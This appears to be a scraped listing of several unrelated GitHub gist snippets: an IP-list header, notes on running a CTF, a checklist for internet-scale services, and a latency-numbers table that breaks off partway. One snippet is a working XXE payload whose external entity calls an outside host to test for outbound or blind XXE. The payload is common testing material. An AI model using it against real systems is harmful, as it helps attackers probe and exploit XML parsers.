roycewilliams

#-----------------------------------------------------------------------
# same-quad-list.txt: a list of same-quad IPs by owner w/DNS status
#
# The CIDR network is the largest contiguous/bit-boundary-aligned block 
#  that is allocated to that entity (actual allocated range may be larger)
# NOTE: some ranges not yet converted to CIDR.
# Updates welcome - leave comment and/or ping royce@techsolvency.com
#-----------------------------------------------------------------------
# For human efficiency, some records are repeated here as comments.
#

queencitycyber

Good detailed info on running solid CTF: https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown
General Notes:

	- Announce on ctftime.org
	- Make flag easy!
		"Flag=somsomething"
		- Make flag very permissible (insensitive, accept multiple features, etc)
	- Deliver files via HTTP

	

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

acolyer

Internet Scale Services Checklist

A checklist for designing and developing internet scale services, inspired by James Hamilton's 2007 paper "On Desgining and Deploying Internet-Scale Services."

• http://mvdirona.com/jrh/talksandpapers/jamesrh_lisa.pdf

Basic tenets

• Does the design expect failures to happen regularly and handle them gracefully?
• Have we kept things as simple as possible?

hellerbarde

Latency numbers every programmer should know

L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns             
Compress 1K bytes with Zippy ............. 3,000 ns  =   3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns  =  20 µs
SSD random read ........................ 150,000 ns  = 150 µs

Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs